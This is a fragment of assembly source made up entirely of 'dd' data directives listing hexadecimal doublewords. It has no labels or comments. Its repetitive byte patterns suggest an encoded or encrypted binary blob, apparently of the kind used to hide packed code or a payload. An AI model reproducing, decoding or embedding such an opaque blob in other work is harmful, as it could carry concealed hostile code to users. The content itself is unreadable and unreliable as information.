		dd 0A7A7A484h, 0E4F99A59h, 5B4849D9h, 49DA605Dh, 5EB0DB48h
		dd 0B64DDCD0h, 57A7A7A5h, 0B265DCE6h, 57A7A7A4h, 0D9A84DE7h
		dd 4D5B4849h, 4849D954h, 6150B2DBh, 0DADD5788h,	0D1585858h
		dd 2455D3A0h, 0DB4849D9h, 0B9AF5DB1h, 0A480DDD1h, 0BCF9A7A7h
		dd 5B4849D8h, 49D8C05Dh, 53B0DB48h, 0A480CDD3h,	9A59A7A7h
		dd 0F05DE757h, 0D04849D9h, 0A5B64DDCh, 0A0D1A7A7h, 0D90855D3h
		dd 555B4849h, 4849D96Ch, 0AF5CB1DBh, 8CDDD1B9h,	0F9A7A7A4h
		dd 4849D934h, 0A04DE757h, 594849D8h, 50B0DB88h,	0A48CCDD3h
		dd 9A59A7A7h, 0C85DE757h, 5B4849D9h, 49D8BC5Dh,	55B0DB48h
		dd 0B64DDCD0h, 0B3A7A7A5h, 0ACB11F5Eh, 0F9A7A7A6h, 4849D97Ch
		dd 615AB0DBh, 49DA345Dh, 0D5392C48h, 0A7A5B6DDh, 8CF908A7h
		dd 0DB4849D9h, 0A70850B0h, 597DEC4Dh, 519ED148h, 0F91D2CAEh
		dd 4849D9F8h, 0D9C45D5Bh, 0B0DB4849h, 285D6154h, 2C4849DAh
		dd 0D880F908h, 5D5B4849h, 4849D974h, 0AF55B0DBh, 0DDD50880h
		dd 0A7A7A5B6h, 5DE75708h, 4849D940h, 0D9D45D5Bh, 0B0DB4849h
		dd 4DA70851h, 4858A87Ch, 7D9C6DA7h, 6DA74859h, 485100A4h
		dd 0A4B2DDD5h, 0B008A7A7h, 0A7A7BFADh, 0D1549CDBh, 0A7A4BCDDh
		dd 30607A7h, 0D10D9B91h, 7948E0BDh, 0EEB05859h,	0B5858FFh
		dd 2DA70F0Eh, 0A4DDD550h, 8A7A686h, 58FF9CB0h, 0A4D5D558h
		dd 0DBA7A686h, 0D818A790h, 2D585964h, 0EC45D3A1h, 0DB4849D9h
		dd 9ED15BB3h, 0E7578671h, 49D88845h, 5EB3DB48h,	0A46DC4D0h
		dd 57A7A686h, 0D9CC5DE7h
		dd 5D5B4849h, 4849D9D4h, 85AB0DBh, 1C5DE757h, 0DB4849D9h
		dd 32085CB0h, 5DE7575Bh, 4849D9B0h, 0D9E05D5Bh,	0B0DB4849h
		dd 6DA70853h, 4849D984h, 58585930h, 0A4DDD5D8h,	8A7A686h
		dd 33404DA7h, 9FD14849h, 57A7A7DBh, 585A69DCh, 5DE75758h
		dd 4849DA18h, 850B0DBh,	86A8DDD5h, 3008A7A6h, 585847A7h
		dd 0B859DDD5h, 0F08A7A7h, 0A86C4DA7h, 0DDD14858h, 0A7A686A0h
		dd 104DA70Fh, 0D8485111h, 0A7B859E5h, 0DD5714A7h, 585859AAh
		dd 49D8F4F9h, 5FB0DB48h, 86A0DD61h, 0DC57A7A6h,	58585986h
		dd 15EDEE57h, 57A7A7B8h, 0B816C5EEh, 0EF57A7A7h, 50BB9983h
		dd 0D13E8651h, 0A686AEEDh, 0DDEF57A7h, 0A7A686AEh, 0D9844DD3h
		dd 9ADB4849h, 504D5B1Ch, 594849D9h, 0A84DD388h,	124849D8h
		dd 0D13E8859h, 0A6B858DDh, 0DDEF57A7h, 0A7A6B858h, 5DDCE657h
		dd 0A7A7B859h, 0A44DE757h, 5B4849D8h, 49D9EC4Dh, 5EB2DB48h
		dd 0DC578861h, 5858592Ah, 58DDEF57h, 0D3A7A6B8h, 49D9A44Dh
		dd 5B9ADB48h, 0D8BC4D5Bh, 88594849h, 5DDCE657h,	0A7A7B859h
		dd 0D8E44DD3h, 4D5B4849h, 4849D9D0h, 615CB2DBh,	63DD5788h
		dd 57585859h, 0B858DDEFh, 4DD3A7A6h, 4849DA54h,	0D1549ADBh
		dd 57895999h, 5955CCEEh, 0D3A7A7B8h, 49D8C86Dh,	559EDB48h
		dd 0AB599BD1h, 45ECEE57h, 0A7A7B859h, 99AEEF57h, 8BD150BEh
		dd 86D1AB51h, 0D1AEEF57h, 0D1AB599Bh, 0EDD13E86h, 0A7A686ACh
		dd 0ACDDEF57h, 0D5A7A686h, 0B8595DDCh, 0D508A7A7h, 0A6B85ADDh
		dd 0BEB008A7h, 0D55858FDh, 0A6B85AD5h, 0A790DBA7h, 5964D818h
		dd 0D1A12D58h, 73A0D19Fh, 49D8C85Dh, 5DE4D848h,	0A7A6B85Ah
		dd 0F9252D76h, 4849D9ACh, 0D8B05D5Bh, 0B0DB4849h, 71A2D15Fh
		dd 0DCE6579Ah, 0A6B85A4Dh, 4DA708A7h, 4858A864h, 0DB5C9CDBh
		dd 0C2D1DA0h, 0D8C06DD3h, 6D5B4849h, 4849D9D0h,	0D154B6DBh
		dd 57AB71A3h, 5A45ECE6h, 0EA7A6B8h, 0A8644DA7h,	9CDB4858h
		dd 0A0DB5Ch, 6DD3722Dh,	4849D928h, 0D9146D5Bh, 0B6DB4849h
		dd 71A3D15Dh, 0ECE657ABh, 0A6B85A45h, 4DA70EA7h, 4858A864h
		dd 0DB5C9CDBh, 5A2C1DA0h, 783068B3h, 0B04849C0h, 0A7A7A204h
		dd 5AE5D508h, 0FA7A6B8h, 0A8744DA7h, 80F94858h,	0DB4849D8h
		dd 0D5085EB0h, 0A6B85ADDh, 70B008A7h, 0DBA7A7A3h, 6074C9Ch
		dd 0D9B9103h, 0B4D9BDD1h, 585858C8h, 0D30F0E0Bh, 49D8C845h
		dd 5CB3DB48h, 4DD357B3h, 4849D920h, 3E51B2DBh, 98050CD1h
		dd 0DA10F91Bh, 98DB4849h, 2A9B6144h, 5DE757BDh,	4849D9A8h
		dd 104DE757h, 0D14849D9h, 0DB8E599Eh, 49B35FB6h, 0BA89AAD1h
		dd 3E5415D3h, 3E2954D3h, 0D84D14D1h, 0D94CF91Eh, 1CD54849h
		dd 9E614658h, 5DD5BA2Ah, 48490298h, 0A720DDD1h,	88F9A7A7h
		dd 0DB4849D9h, 0DDD15FB0h, 0A7A7A724h, 0A724EDA7h, 2DA7A7A7h
		dd 1263B050h, 9CDB5858h, 2CDDD150h, 0F9A7A7A7h,	4849D8E4h
		dd 2CDD6118h, 2DA7A7A7h, 0D81DD563h, 981DD508h,	0D1D9B008h
		dd 0DDD15858h, 0A7A7A728h, 0A720EDA7h, 1DD5A7A7h, 0B2B00898h
		dd 0DB58580Ah, 9851489Ch, 0EDA74A2Ch, 0A7A7A720h, 8981DD5h
		dd 0A7BA9FB0h, 509CDBA7h, 0A724DDA7h, 60F9A7A7h, 0DB4849DAh
		dd 4DD37898h, 4849D984h, 5B529ADBh, 49D8B84Dh, 9AF75748h
		dd 0A724DD61h, 182BA7A7h, 8D81DD5h, 585D1BB0h, 28DDD158h
		dd 0A7A7A7A7h, 0A7A720EDh, 0D81DD5A7h, 0AD3B008h, 9CDB5858h
		dd 57985154h, 0A7A717DCh, 20EDA7A7h, 0D5A7A7A7h, 0B008D81Dh
		dd 0A7A7BA3Ch, 0B1509CDBh, 0A7A7A760h, 0DA7065D3h, 0B7DB4849h
		dd 0D149B350h, 0D3BA89A2h, 0D33E5015h, 3E984D0Ch, 1F214CD1h
		dd 49D954F9h, 4698DB48h, 0BB2A9F61h, 91030607h,	0BDD10D9Bh
		dd 570F0B09h, 0E1501DEEh, 58585873h, 0F8E6DBE2h, 99BAAF77h
		dd 0DD15BB2h, 0D18FD1A4h, 5005D0A3h, 501DEE57h,	0C04DE757h
		dd 0D34849D9h, 49D9F455h, 520CD548h, 2D886159h,	5837E052h
		dd 0DBB15858h, 57585858h, 0D3501DEEh, 49D9F44Dh, 55E75748h
		dd 4849DA1Ch, 0B2DB9259h, 2D886150h, 5821E05Fh,	3AB35858h
		dd 501DEE57h, 0D9684DD3h, 9ADB4849h, 2D88615Ah,	5831E05Fh
		dd 12B35858h, 501DEE57h, 0D9F44DD3h, 4D5B4849h,	4849D944h
		dd 615CB2DBh, 0E05F2D88h, 5858583Dh, 0EE5774B3h, 4DD3501Dh
		dd 4849D948h, 615CB2DBh, 0E05F2D88h, 58585839h,	0EE574CB3h
		dd 4DD3501Dh, 4849D8B0h, 2D88611Ah, 582DE05Dh, 3075858h
		dd 300F9B91h, 4849C049h, 0A7AFBBB0h, 0A70801A7h, 597DC04Dh
		dd 0DA2CFB48h, 98F94849h, 574849D8h, 0D9944DE7h, 88594849h
		dd 6153B0DBh, 49DA2C5Dh, 304F2D48h, 4849C05Ah, 0A7AFEBB0h
		dd 0A70801A7h, 5D6A404Dh, 0DA2CFB48h, 0B6304849h, 0B04849CFh
		dd 0A7A7AFC4h, 6DA70801h, 4849DA2Ch, 79F44DA7h,	58FB4859h
		dd 7485D72h, 0BDD10D9Bh, 25D30F0Eh, 542DD350h, 0D3481DD3h
		dd 8AAF4C0Dh, 8951A9D1h, 0A2D19069h, 88D19A59h,	0D1401D5Bh
		dd 78255B9Fh, 0F442DA7h, 587812B0h, 509CDB58h, 0AF599FD1h
		dd 607A0D1h, 0D10D9B05h, 0CB4DBBDh, 0D30F0E0Bh,	5C32502Dh
		dd 58485830h, 541DD358h, 251898DBh, 6798DB5Bh, 0D15EA099h
		dd 5EBF999Fh, 0A758320Fh, 5D6A444Dh, 0B41DD148h, 575425D3h
		dd 0DA504DE7h, 55D34849h, 4849DA6Ch, 6F520CD5h,	8859A0D1h
		dd 98DB5B25h, 5EA09967h, 0C865E757h, 0D34849D9h, 49D9A055h
		dd 5724D548h, 579AD16Dh, 0A70A8FF7h, 4DA7B42Dh,	4858A860h
		dd 0E542DA7h, 0A7B42DA7h, 51104C4Dh, 0A81DD548h, 1E32B008h
		dd 9CDB5858h, 0B42DD348h, 5C5DE757h, 574849D9h,	0D9C04DE7h
		dd 9BD14849h, 0B3138B59h, 1DD50E47h, 0A0B008A8h, 0DB585863h
		dd 58F9509Ch, 0DB4849D9h, 5D5B7798h, 4849D978h,	1B5E6CD5h
		dd 0D35425D3h, 49D9AC4Dh, 6F9ADB48h, 8859A0D1h,	98DB5B25h
		dd 5EA09967h, 9D249B61h, 58D85830h, 0D97CF958h,	0B0DB4849h
		dd 2DA7085Ah, 484DA7B4h, 0D5485110h, 0A708F41Dh, 74B0482Dh
		dd 0F958583Eh, 4849D920h, 85F98DBh, 8A81DD5h, 8F41DD5h
		dd 1184DA7h, 9CDB4855h,	0BC65D34Ch, 0DB4849D8h,	0A0615DB7h
		dd 98695D2Ch, 695AB318h, 3060798h, 0D10D9B91h, 0D988F9BDh
		dd 0B0DB4849h, 645D615Fh, 2E484937h, 37643053h,	4DA74849h
		dd 4858A84Ch, 493764F9h, 5C9A0548h, 0BDD10D58h,	49DA68F9h
		dd 7C5D5B48h, 0DB4849D9h, 5D615BB0h, 48597DE0h,	0E030532Eh
		dd 0A748597Dh, 58A84C4Dh, 7DE0F948h, 9A054859h,	0D10D585Ch
		dd 44B4D9BDh, 0B58585Ah, 0DDD50F0Eh, 0A7A7A5A8h, 78F83008h
		dd 0D7B04859h, 0DB5858DAh, 0DDD1509Ch, 0A7A7A5A0h, 0CC5DE757h
		dd 574849D9h, 0D9C04DE7h, 88594849h, 615AB0DBh,	0A7A5A0DDh
		dd 695F2DA7h, 59C9B198h, 4CF95858h, 5B4849DAh, 49D8B45Dh
		dd 0A4DDD148h, 0D3A7A7A5h, 0A7A5A4DDh, 0A0CDD3A7h, 0D5A7A7A5h
		dd 90DB5A54h, 64D818A7h, 0A12D5859h, 0A5ACDDD1h, 0E5D9A7A7h
		dd 0A7A7A5ACh, 585858A7h, 0DDD3722Bh, 0A7A7A5A4h, 0DA7C4DD3h
		dd 4D5B4849h, 4849D9A0h, 595BB2DBh, 0A0DD5B88h,	8A7A7A5h
		dd 0A759DDD5h, 0B008A7A7h, 5858C7A9h, 0F06DE757h, 0B34849D8h
		dd 6DE4D87Dh, 0A7A7A759h, 9E502D71h, 0A7596DDCh, 0D865A7A7h
		dd 0A7596DE4h, 2D70A7A7h, 6DDC9E50h, 0A7A7A759h, 0D5D51E73h
		dd 0A7A7A759h, 18A790DBh, 585964D8h, 9E61A12Dh,	0A7309F2Ah
		dd 0D5585858h, 0A7A65ADDh, 0DDD508A7h, 0A7A7A759h, 0CC33B008h
		dd 9CDB5858h, 579BD154h
		dd 0D8CC65E7h, 0B7DB4849h, 5776B35Ah, 5A65DCE6h, 0D1A7A7A6h
		dd 0A7A5B0DDh, 0AFA0D1A7h, 0BCDDD1BFh, 0D3A7A7A5h, 0A7A5B0DDh
		dd 0BCCDD3A7h, 71A7A7A5h, 65DCD088h, 0A7A7A65Ah, 2A87611Fh
		dd 0DA64F996h, 5D5B4849h, 4849D9B4h, 85AB0DBh, 0D5502DA7h
		dd 0A7A65ADDh, 0DCB008A7h, 0DB58587Fh, 0DDD1549Ch, 0A7A7A5B4h
		dd 49D9D8F9h, 0A7A35D48h, 5D5B5858h, 4849DA54h,	0A5B4DD61h
		dd 492CA7A7h, 0A5A0EDA7h, 4DA7A7A7h, 48597D94h,	0B3189869h
		dd 0ACDDD366h, 59A7A7A5h, 0A7A5A4DDh, 0D9D4F9A7h, 5B184849h
		dd 49D9005Dh, 0A4DD5948h, 0D3A7A7A5h, 0A7A5A8DDh, 0A4DD61A7h
		dd 57A7A7A5h, 0A7A6D6DAh, 0A0EDA7A7h, 0A7A7A7A5h, 597D944Dh
		dd 7986948h, 9B910306h,	581859E0h, 58509AD8h, 0DBBDD10Dh
		dd 0E0B18B4h, 502DD30Fh, 105DE757h, 0D14849D9h,	98655B9Fh
		dd 0DB4849D9h, 56B35AB7h, 0BB89A3D1h, 264CD33Eh, 450CD13Eh
		dd 18F91F98h, 0DB4849D9h, 5D5B4798h, 4849D984h,	0B82A9F61h
		dd 8981DD5h, 0DBCDB00Eh, 9CDB5858h, 3060750h, 0D10D9B91h
		dd 60B4D9BDh, 0B585859h, 4DD50F0Eh, 4858868Fh, 0D92455D3h
		dd 99DB4849h, 8B88D151h, 684DD3B0h, 0DB4849DAh,	4D5B5F9Ah
		dd 4849D98Ch, 9BD189D1h, 5DD5BB8Bh, 4858868Fh, 0D1B41DD1h
		dd 80D1B005h, 1560D93Eh, 57402C02h, 0D9105DE7h,	4DD34849h
		dd 4849D8B8h, 0A148DCD5h, 715858A7h, 0F984B39Bh, 4849D9B8h
		dd 0D16098DBh, 0D19E5986h, 0D15E5B80h, 15D3A81Dh, 2E9061B4h
		dd 0D978F94Fh, 0AA5D4849h, 575858A7h, 0D8884DE7h, 88594849h
		dd 0F3B39B71h, 0D1A81DD3h, 0EF57A01Dh, 1D086558h, 482C5858h
		dd 0A05DE757h, 5D4849D8h, 5858A7A3h, 0D3B39B71h, 0D3A01DD3h
		dd 5858D8D8h, 0AC1DD158h, 49D9ECF9h, 5CB0DB48h,	0B1A41DD1h
		dd 58585924h, 1D5B80D1h, 0A41D5BACh, 0A68CDDD1h, 4DD3A7A7h
		dd 4849D88Ch, 615DB2DBh, 37DC5748h, 0D3585859h,	0A7A68CDDh
		dd 5B82D1A7h, 0CDD15408h, 0A7A7A688h, 81DDD50Ah, 8A7A7A6h
		dd 58C504B0h, 0D9E8F958h, 5D5B4849h, 4849D920h,	0D148B0DBh
		dd 7AB3801Dh, 0D2801DD3h, 0A6815DDCh, 3964A7A7h, 22644926h
		dd 1DD35525h, 5DDCD580h, 0A7A7A681h, 0A77870D8h, 1DD3801Dh
		dd 0DCE65780h, 0A7A6815Dh, 0E04DD3A7h, 0DB4849D9h, 88615CB2h
		dd 38F99E2Dh, 0D84849D9h, 0A68F5DE4h, 5714A7A7h, 585883DDh
		dd 0C04DD358h, 0D84849D8h, 0A68E4DE4h, 576BA7A7h, 58589FDDh
		dd 5DE4D858h, 0A7A7A68Ah, 0E1DD5713h, 0F9585858h, 4849D974h
		dd 0D9A45D5Bh, 0E4D84849h, 0A7A68A5Dh, 0DD571DA7h, 585858F8h
		dd 1C5DE757h, 0D84849D9h, 0A68F5DE4h, 570AA7A7h, 5858D3DDh
		dd 0D924F958h, 5D5B4849h, 4849D908h, 8D5DE4D8h,	6AA7A7A6h
		dd 0DDD32E2Dh, 0A7A7A68Ch, 85B82D1h, 90CDD148h,	0F9A7A7A6h
		dd 4849D908h, 0DA645D5Bh, 0B0DB4849h, 94DDD15Ch, 0D3A7A7A6h
		dd 0A7A690DDh, 5B9ED1A7h, 0A7A694EDh, 0F966D3A7h, 4849DA54h
		dd 0D98C5D5Bh, 0B0DB4849h, 2C9F6154h, 6FB00F1Dh, 158587Eh
		dd 49D908F9h, 5CB0DB48h, 0DA0C5D61h, 762D4849h,	49D97CF9h
		dd 345D5B48h, 0DB4849D9h, 0DD595BB0h, 0A7A7A694h, 4EB3E9B3h
		dd 4CA41DDBh, 0D3A01DD3h, 5858DCD8h, 0A41D6158h, 0A62ADA57h
		dd 88F9A7A7h, 5B4849D9h, 49DA105Dh, 53B0DB48h, 0DA0C5D61h
		dd 3A2C4849h, 5855E7B0h, 51F6B058h, 0D0B05858h,	0D158585Ah
		dd 0BF0DD09Ah, 0BF1DEE57h, 0D88C4DD3h, 0B2DB4849h, 2C88615Bh
		dd 0B81DD565h, 0D9ECF908h, 0B0DB4849h, 1DD5085Ch, 8F300884h
		dd 0F9485886h, 4849D9D4h, 0D88C5D5Bh, 0B0DB4849h, 70F9085Eh
		dd 574849DAh, 0D8A04DE7h, 88594849h, 855B0DBh, 37784DA7h
		dd 6074849h, 0D9B9103h,	0F0EBDD1h, 0D35025D3h, 0A8D1542Dh
		dd 0D1481D7Bh, 7B8AAFAAh, 88514C0Dh, 9A59A2D1h,	1D5B88D1h
		dd 5B9FD140h, 2DA77825h, 2CB00F44h, 0DB585841h,	9FD1509Ch
		dd 0A0D1AF59h, 9B050607h, 0E0BDD10Dh, 58587858h, 58C37CB0h
		dd 300F0E58h, 585847A7h, 0B859DDD5h, 0A708A7A7h, 4DA7502Dh
		dd 48493760h, 49CF8130h, 0A81EB048h, 65D3A7A7h,	4849D9A0h
		dd 0F5AB7DBh, 59E5D508h, 0FA7A7B8h, 587B02B0h, 489CDB58h
		dd 0D9A06DD3h, 9ED94849h, 5858A7A4h, 512CA861h,	0B0502DA7h
		dd 585834B2h, 18986901h, 9A910607h, 0D10D5850h,	0F0E0BBDh
		dd 0D35025D3h, 2DD35405h, 7980D14Ch, 480DD3A8h,	89AFA9D1h
		dd 88519279h, 9A59A2D1h, 1D5B88D1h, 5B9FD140h, 2DA77825h
		dd 90B00F44h, 0DB585840h, 9FD1509Ch, 0A0D18759h, 5030607h
		dd 0BDD10D9Bh, 595CB4D9h, 0F0E5858h, 49D954F9h,	5B9AD148h
		dd 49D9C44Dh, 5EB2DB48h, 145D5B0Ah, 0DB4849D9h,	32085CB0h
		dd 5DE7575Bh, 4849DA18h, 0D9F85D5Bh, 0B0DB4849h, 98F90848h
		dd 0DB4849D8h, 30085AB0h, 0D8585858h, 516A6830h, 404DA748h
		dd 0D1484933h, 0A7A7DB9Fh, 72E05F2Dh, 0B3585858h, 0DA70F932h
		dd 0E7574849h, 49D89C4Dh, 0DB885948h, 0D50856B0h, 0A7A6A4DDh
		dd 0A73008A7h, 0D5585858h, 0A7A759DDh, 0A70F08A7h, 58A86C4Dh
		dd 0F9ED148h, 11104DA7h, 0EE574851h, 0A7A759DDh, 884DD3A7h
		dd 0DB4849D9h, 8861429Ah, 72E05F25h, 0B3585858h, 0D9C4F942h
		dd 0B0DB4849h, 2D9E615Ch, 5872E05Fh, 5FB35858h,	59DDEE57h
		dd 7A7A7A7h, 0D9B9106h,	0E0BBDD1h, 5005D30Fh, 0B542DD3h
		dd 0A8584DA7h, 9FD14858h, 49D9D0F9h, 0BC5D5B48h, 0DB4849D9h
		dd 0F90851B0h, 4849D8E0h, 0DA7C5D5Bh, 0B0DB4849h, 38F9085Dh
		dd 5D4849D9h, 585847AFh, 104DE757h, 594849D9h, 0F0E0888h
		dd 5DE7570Bh, 4849D89Ch, 85EB0DBh, 4DA75832h, 4858A848h
		dd 49D94CF9h, 4DE75748h, 4849D9C0h, 0B0DB8859h,	665CD05Ah
		dd 607A0D1h, 0D9B0503h,	0B4D9BDD1h, 58585950h, 65D30F0Eh
		dd 4849D9D0h, 5DE7571Fh, 4849D8F0h, 29B39F59h, 49CF9530h
		dd 0B602B048h, 0DDD1A7A7h, 0A7A7A6A0h, 49CF9B30h, 0B612B048h
		dd 80FA7A7h, 0A6A0EDD3h, 0D50EA7A7h, 0A7A759EDh, 4DA70EA7h
		dd 48550170h, 0D5409CDBh, 0A7A759DDh, 583208A7h, 48585830h
		dd 604DA758h, 0D1485111h, 0A7A6A4DDh, 2C9851A7h, 4DA70847h
		dd 48511110h, 705DE757h, 184849D9h, 5D2D9F61h, 0B3189869h
		dd 585AE07Bh, 44B35858h, 0D948F91Fh, 98DB4849h,	4DE75703h
		dd 4849D95Ch, 9F618859h, 0A72EDA57h, 9869A7A7h,	9B910607h
		dd 0CFEC300Fh, 91B04849h, 1A7A7B5h, 0C04DA708h,	0FB48597Dh
		dd 4849DA24h, 49D8B4F9h, 4DE75748h, 4849D93Ch, 0B0DB8859h
		dd 245D615Ah, 2D4849DAh, 0CFFD304Fh, 0C1B04849h, 1A7A7B5h
		dd 404DA708h, 0FB485D6Ah, 4849DA24h, 49CFD530h,	0B5DAB048h
		dd 801A7A7h, 0DA246DA7h, 4DA74849h, 485979F4h, 59579CFBh
		dd 0D9B0748h, 0B4D9BDD1h, 5858595Ch, 0D8FCF90Fh, 5D5B4849h
		dd 4849D9ECh, 0D0500DD2h, 0A6AE5DCCh, 0B8F9A7A7h, 0DB4849D9h
		dd 30085CB0h, 585858D8h, 20F95C32h, 0DB4849D9h,	0F90851B0h
		dd 4849DA14h, 504DE757h, 594849DAh, 52B0DB88h, 58583008h
		dd 68301858h, 0A748516Ah, 4933404Dh, 579FD148h,	0D99C5DE7h
		dd 5D5B4849h, 4849D928h, 854B0DBh, 0A6A4DDD5h, 0F908A7A7h
		dd 4849D920h, 850B0DBh,	0A759DDD5h, 0F08A7A7h, 37444DA7h
		dd 0A70F4849h, 5111104Dh, 9B910748h, 0DBBDD10Dh, 0F0E54B4h
		dd 305025D3h, 4858FA5Fh, 6EA73C3Fh, 3C3F5858h, 58587ED1h
		dd 49CFDD30h, 0B4EAB048h
		dd 6FA7A7A7h, 0AE2DD508h, 704DA70Eh, 0DB485501h, 5832489Ch
		dd 1DD56FA7h, 40B008AEh, 57585871h, 0D9C85DE7h,	5D5B4849h
		dd 4849D8E0h, 854B0DBh,	17C4DA7h, 9CDB4855h, 78FB348h
		dd 5C9A9106h, 0BDD10D58h, 5A34B4D9h, 0E0B5858h,	1B83690Fh
		dd 49CF2530h, 0B402B048h, 2DA7A7A7h, 0E5D50850h, 0A7A7A5E6h
		dd 704DA70Fh, 0DB485501h, 0DDD5489Ch, 0A7A7A69Ah, 0E6DDD508h
		dd 8A7A7A5h, 6A704DA7h,	0DDD14851h, 0A7A7A5E0h,	0CC5DE757h
		dd 0AF4849D9h, 0E0DD6180h, 57A7A7A5h, 58593EDDh, 781DD558h
		dd 481DD508h, 484DA708h, 0D1484933h, 0A7A5F8DDh, 5DE757A7h
		dd 4849D8CCh, 884DE757h, 594849D8h, 50B0DB88h, 0A5F8DD61h
		dd 5526A7A7h, 0A5C0E5D5h, 2DD5A7A7h, 0B3FDFD78h, 0C0E5D553h
		dd 0D5A7A7A5h, 0FDFD482Dh, 0A5F0DDD5h, 0D508A7A7h, 0A7A5C0DDh
		dd 4DA708A7h, 48490220h, 49D900F9h, 0CDEF5748h,	0A7A7A5EAh
		dd 0E8D5EF57h, 0D3A7A7A5h, 49DA546Dh, 682CD548h, 96F7576Dh
		dd 0EF579259h, 0A7A5F6D5h, 0A06DD3A7h, 0DB4849D9h, 0F7574D9Eh
		dd 46DD396h, 0DB4849D9h, 0F757609Eh, 57925996h,	0A5F2D5EFh
		dd 6DD3A7A7h, 4849D8C0h, 574D9EDBh, 0E75796F7h,	49D99C6Dh
		dd 0E865D348h, 0D54849D9h, 5751662Ch, 6DD396F7h, 4849D914h
		dd 576D9EDBh, 0D97065E7h, 0A6594849h, 5996F757h, 0D5EF5792h
		dd 0A7A7A5F0h, 0D8B86DD3h, 0E7574849h, 49D8C465h, 57A65948h
		dd 0E75796F7h, 49D8EC6Dh, 419EDB48h, 0D396F757h, 49D8E06Dh
		dd 499EDB48h, 90D19E59h, 579EF757h, 0D9B055E7h,	6DD34849h
		dd 4849D924h, 766914D5h, 5999F757h, 0FCCDD19Ah,	0D1A7A7A5h
		dd 684DD388h, 614858A8h, 0A9DF5788h, 71585858h,	0D8E0F99Ah
		dd 845D4849h, 61585848h, 85DE579Ah, 0A7585858h,	4DA7502Dh
		dd 4858A854h, 0A5CCDDD1h, 91B1A7A7h, 0D8585858h, 0A7A6B6E5h
		dd 0DC5776A7h, 585858E0h, 49CF2C30h, 0B2C2B048h, 0E5D5A7A7h
		dd 0A7A7A6B6h, 502DA70Fh, 0E6E5D508h, 0FA7A7A5h, 1704DA7h
		dd 0EDD54855h, 0A7A7A69Ah, 5918B4D9h, 0BFD15858h, 5858C7E1h
		dd 0FD3EAB58h, 0A5E6E5D5h, 0B00FA7A7h, 0A7A7A5B5h, 59009CD9h
		dd 34B35858h, 0A69ADDD5h, 0A708A7A7h, 0A7A5E0EDh, 904DA7A7h
		dd 0D1485957h, 2C83519Bh, 0B6E5D80Fh, 76A7A7A6h, 3330122Ch
		dd 0B04849CFh, 0A7A7B274h, 0A6B6E5D5h, 0A70FA7A7h, 0D508502Dh
		dd 0A7A5E6E5h, 4DA70FA7h, 48550170h, 0A69AEDD5h, 0B4D9A7A7h
		dd 58585918h, 0C7E1BFD1h, 0AB585858h, 0E5D5FD3Eh, 0A7A7A5E6h
		dd 0A527B00Fh, 9CD9A7A7h, 58585900h, 0C82D8351h, 91030607h
		dd 0BDD10D9Bh, 5A0CB4D9h, 0E0B5858h, 0B4DDD50Fh, 8A7A7A6h
		dd 49D898F9h, 0D45D5B48h, 0DB4849D9h, 0F9085BB0h, 4849D9BCh
		dd 85CB0DBh, 14F97832h,	574849D9h, 0D8884DE7h, 88594849h
		dd 850B0DBh, 72584DA7h,	1DD5485Dh, 4DA708A8h, 48516C68h
		dd 49DA4CF9h, 0DEF5748h, 15EF57A2h, 2445D3A0h, 0DB4849D9h
		dd 0F7576D9Bh, 57925993h, 57AE15EFh, 0D91C45E7h, 9BDB4849h
		dd 93F7574Ch, 0D97C45D3h, 9BDB4849h, 6DE7576Fh,	4849D960h
		dd 0F757AB59h, 57925993h, 0D3AA15EFh, 49D92045h, 4D9BDB48h
		dd 0D393F757h, 49D9AC45h, 579BDB48h, 0D393F757h, 49DA4C45h
		dd 619BDB48h, 5993F757h, 15EF5792h, 4445D3A8h, 0DB4849DAh
		dd 455B5D9Bh, 4849D8F8h, 0D393F757h, 49D9DC45h,	401CD548h
		dd 90F7574Fh, 485DE757h, 574849DAh, 0D8AC45E7h,	1CD54849h
		dd 0F7574940h, 0D8B8F990h, 98DB4849h, 45E7576Dh, 4849D9CCh
		dd 0F7578059h, 5988D190h, 0A868FB90h, 6CF94858h, 5B4849D9h
		dd 49D9F85Dh, 51B0DB48h, 0A592DDD1h, 0EDD5A7A7h, 0A7A7A5F6h
		dd 5918B4D9h, 0BFD15858h, 5858C7E1h, 0FD3EAB58h, 0A6B4E5D5h
		dd 0B00FA7A7h, 585840F0h, 591C9CD9h, 6075858h, 0F99B9103h
		dd 4849D90Ch, 0D9BC5D5Bh, 0B0DB4849h, 4DA70853h, 48490138h
		dd 1859E09Bh, 409AD858h, 0BDD10D58h, 584858E0h,	0CB7BB058h
		dd 0E0B5858h, 0D9F4F90Fh, 5D5B4849h, 4849D90Ch,	852B0DBh
		dd 0A859DDD5h, 0B008A7A7h, 585855B9h, 0D3509CDBh, 49D99065h
		dd 50B7DB48h, 0E4D842B3h, 0A7A85965h, 572D7BA7h, 0C05DE757h
		dd 104849D9h, 5965DCD0h, 1FA7A7A8h, 57A7A7D9h, 862A5858h
		dd 0A859EDD5h, 3F30A7A7h, 0B04849CFh, 0A7A7B050h, 5957B830h
		dd 45E75748h, 4849D89Ch, 0B5EB3DBh, 0D95045D3h,	0E7574849h
		dd 49D9CC4Dh, 0DB8B5948h, 80B51B3h, 8845E757h, 5B4849D8h
		dd 49DA1445h, 57B3DB48h, 7C45D30Bh, 5B4849DAh, 49D98045h
		dd 5DB3DB48h, 2DA70E0Bh, 8845D350h, 5B4849D9h, 49D90C45h
		dd 55B3DB48h, 58A7BBD9h, 0B00B5858h, 58581077h,	0D1709CDBh
		dd 0A790DBA9h, 5964D818h, 57A12D58h, 0D8CC4DE7h, 0B2DB4849h
		dd 599BD159h, 598ED1ABh, 5EE65786h, 404DE757h, 574849DAh
		dd 0D97055E7h, 92594849h, 615DB2DBh, 0BDD5788h,	7A7A7A7h
		dd 9B910306h, 0CF01300Fh, 0DB04849h, 1A7A7BFh, 0C04DA708h
		dd 0FB48597Dh, 4849DA00h, 49DA58F9h, 5DB0DB48h,	0DA005D61h
		dd 4F2D4849h, 49CF1330h, 0BF76B048h, 801A7A7h, 6A404DA7h
		dd 0FB485Dh, 304849DAh,	4849CF19h, 0A7BF4FB0h, 65B008A7h
		dd 0FB58583Dh, 4851116Ch, 49CF6F30h, 0BF5AB048h, 0B008A7A7h
		dd 58583D70h, 5979FCFBh, 0CF753048h, 0B5B04849h, 8A7A7BEh
		dd 583D4BB0h, 118FB58h,	7D304855h, 0B04849CFh, 0A7A7BE80h
		dd 3CA6B008h, 18FB5858h, 30484928h, 4849CF45h, 0A7BE9BB0h
		dd 0B1B008A7h, 0FB58583Ch, 485D71A8h, 49CF4B30h, 0BEF6B048h
